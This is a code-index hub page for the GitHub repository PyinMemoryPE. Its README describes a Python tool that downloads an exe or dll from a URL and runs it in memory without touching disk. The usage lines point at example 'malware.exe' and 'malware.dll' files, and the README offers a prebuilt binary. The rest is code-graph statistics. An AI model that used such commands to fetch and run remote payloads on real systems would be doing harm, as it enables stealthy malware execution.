MCPcopy Index your code
hub / github.com/ELMERIKH/PyinMemoryPE

github.com/ELMERIKH/PyinMemoryPE @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
4,291 symbols 9,776 edges 109 files 942 documented · 22%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

Greetings

PyinMemoryPE

execute any PE (dll,exe) in memory filelessly

usage

pyMemory.py < url> < TYPe >

build into exe

use pyinstaller or nuitka and build pymemory.py

or use the prebuilt exe in ./output

example

exe : PyexecMemory.exe http://example.com/malware.exe EXE

dll: PyexecMemory.exe http://example.com/malware.dll DLL --Method DLLRegisterServer

video demo :(by gemini cyber security)

https://youtu.be/51dctDdCiI0?feature=shared

Check for more info and resources

https://github.com/naksyn/PythonMemoryModule

https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/

Core symbols most depended-on inside this repo

sizeof
called by 192
pythonmemorymodule/pefile.py
from_int
called by 86
windows/native_exec/simple_x86.py
from_int
called by 82
windows/native_exec/simple_x64.py
pack
called by 63
windows/rpc/ndr.py
decode
called by 58
pythonmemorymodule/pefile.py
cast
called by 53
windows/utils/improved_buffer.py
dbg
called by 47
pythonmemorymodule/__init__.py
unpack
called by 41
windows/rpc/ndr.py

Shape

Method 1,793
Class 1,515
Function 977
Route 6

Languages

Python100%

Modules by API surface

windows/generated_def/winstructs.py914 symbols
pythonmemorymodule/pefile.py261 symbols
windows/winobject/process.py181 symbols
windows/winproxy/apis/kernel32.py175 symbols
windows/native_exec/simple_x64.py173 symbols
windows/winproxy/apis/advapi32.py162 symbols
windows/native_exec/simple_x86.py162 symbols
windows/winobject/event_log.py149 symbols
windows/rpc/ndr.py106 symbols
windows/security.py95 symbols
windows/generated_def/interfaces.py83 symbols
windows/remotectypes.py79 symbols

For agents

$ claude mcp add PyinMemoryPE \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact